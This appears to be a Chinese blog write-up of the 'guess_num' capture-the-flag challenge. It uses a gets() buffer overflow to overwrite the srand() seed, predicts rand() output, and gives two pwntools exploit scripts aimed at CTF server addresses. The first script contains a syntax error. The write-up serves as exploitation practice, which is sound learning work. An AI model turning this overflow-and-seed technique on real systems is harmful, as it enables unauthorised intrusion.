guess_num wp
为什么写这题呢?感觉这题很有代表性(学到的东西挺多),以后很多的问题可以提前解决,所以写一篇博客记录一下。
先checksec一下:
吓死本菜鸡了!竟然三个保护机制全开了!
我们拖入IDA查看:
代码还有点小长……当场决定放弃咳咳,这题着实吓到我了,看一下有没有威胁函数,发现gets函数可以无限输入
硬着头皮查看每个函数,发现:
sub_C3E函数里可以直接抓取flag,回去看一眼这个函数的位置,在最底部,中间有个循环判断而且有个exit(0)想要运行sub_C3E必须要绕过他(从判断脱离出来)
但我又不知道srand()函数和rand()函数有什么作用……去网上查一查发现这两个函数要配合使用srand()函数为rand()函数初始化,srand()里的参数不同对应rand()的产生的随机数也不同
但只要srand()里的数是固定的,那么rand产生的随机数也是固定的。
那么就要自己写个程序:
#include<stdio.h>
#include<stdlib.h>
int main()
{
int key,i;
srand(0);
for(i=0;i<10;i++){
key=rand()%6+1;
printf("%d\n",key);
}
return 0;
}
运行去查看它产生的随机数,这里我们选择0(方便)
又涉及到一个冷知识同一串程序在linux和windows中产生的随机数是不一样的!好吧,摊牌了我看了wp,哈哈咳咳,
结果把cpp文件拖到虚拟机里运行又出了问题……
这里要改一下进行以下操作:
1. cc c.cpp(原来的名字) -o 1c(想改的文件名)
2. ./1c #运行
我原来的文件名是c.cpp经过上述操作改成了1c(就可以用了,我也不知道为什么)
运行一下:
把数据记下来。
上exp:
from pwn import*
io=remote("223.112.5.156",60001)
payload=b'a'*32+p64(0)
io.recvuntil("Your name:")
io.sendline(payload)
rand=['2','5','4','2','6','2','5','1','4','2']
for i int range(10):
io.recvuntil("Please input your guess number:")
io.sendline(rand[i])
io.interactive()
获得flag:
当然还有不用写脚本的方法:
贴上exp:
from pwn import*
from ctypes import*
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
io=remote("61.147.171.105",54069)
payload=b'a'*0x20+p64(0)
io.sendlineafter("Your name:",payload)
libc.srand(0)
for i in range(10):
payload=str(libc.rand()%6+1)
io.sendlineafter("Please input your guess number:",payload)
io.interactive()